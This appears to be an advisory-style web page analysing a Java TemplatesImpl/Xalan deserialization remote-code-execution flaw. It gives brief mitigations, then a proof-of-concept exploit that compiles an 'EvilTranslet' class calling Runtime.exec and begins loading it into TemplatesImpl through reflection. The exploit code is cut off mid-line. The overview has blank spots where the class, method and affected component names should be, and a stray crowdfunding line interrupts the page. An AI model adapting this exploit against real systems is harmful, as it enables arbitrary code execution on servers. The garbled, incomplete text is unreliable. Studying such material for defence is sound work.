Java TemplatesImpl Deserialization RCE Analysis

Vulnerability Overview This vulnerability exists in the class and is leveraged via the method. Attackers can execute arbitrary code by constructing a malicious XML file that triggers a deserialization vulnerability through the class's method. Affected Scope Affected Component: Affected Versions: Specific versions are not explicitly defined, but it typically affects applications utilizing the Xalan library. Mitigation Strategies Update Libraries: Ensure the use of the latest version of the Xalan library to address known security vulnerabilities. Input Validation: Strictly validate input data to prevent the injection of malicious XML files. Disable Unsafe Features: If the Xalan library is not required, consider disabling related functionalities or removing library dependencies. Proof of Concept (POC) Code ```java import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; public class Exploit { public static void main(String[] args) throws Exception { // Compile EvilTranslet class String evilCode = "public class EvilTranslet extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements java.io.Serializable {\n" + " private static final long serialVersionUID = 1L;\n" + " @Override\n" + " public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {\n" + " try {\n" + " java.lang.Runtime.getRuntime().exec(\"calc\");\n" + " } catch (Exception e) {\n" + " e.printStackTrace();\n" + " }\n" + " }\n" + " @Override\n" + " public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {\n" + " try {\n" + " java.lang.Runtime.getRuntime().exec(\"calc\");\n" + " } catch (Exception e) {\n" + " e.printStackTrace();\n" + " }\n" + " }\n" + "}"; javax.tools.JavaCompiler compiler = javax.tools.ToolProvider.getSystemJavaCompiler(); javax.tools.StandardJavaFileManager fileManager = compiler.getStandardFileManager(null, null, null); javax.tools.JavaFileObject file = new javax.tools.SimpleJavaFileObject(new java.net.URI("EvilTranslet.java"), javax.tools.JavaFileObject.Kind.SOURCE) { @Override public CharSequence getCharContent(boolean ignoreEncodingErrors) { return evilCode; } }; javax.tools.JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null, null, null, java.util.Collections.singletonList(file)); task.call(); // Load the compiled class java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(".").toURI().toURL()}); Class evilClass = classLoader.loadClass("EvilTranslet"); // Create TemplatesImpl instance TemplatesImpl templates = new TemplatesImpl(); Field field = templates.getClass().getDeclaredField("_bytecodes");

Goal Reached Thanks to every supporter — we hit 100%!

Java TemplatesImpl Deserialization RCE Analysis

More from this source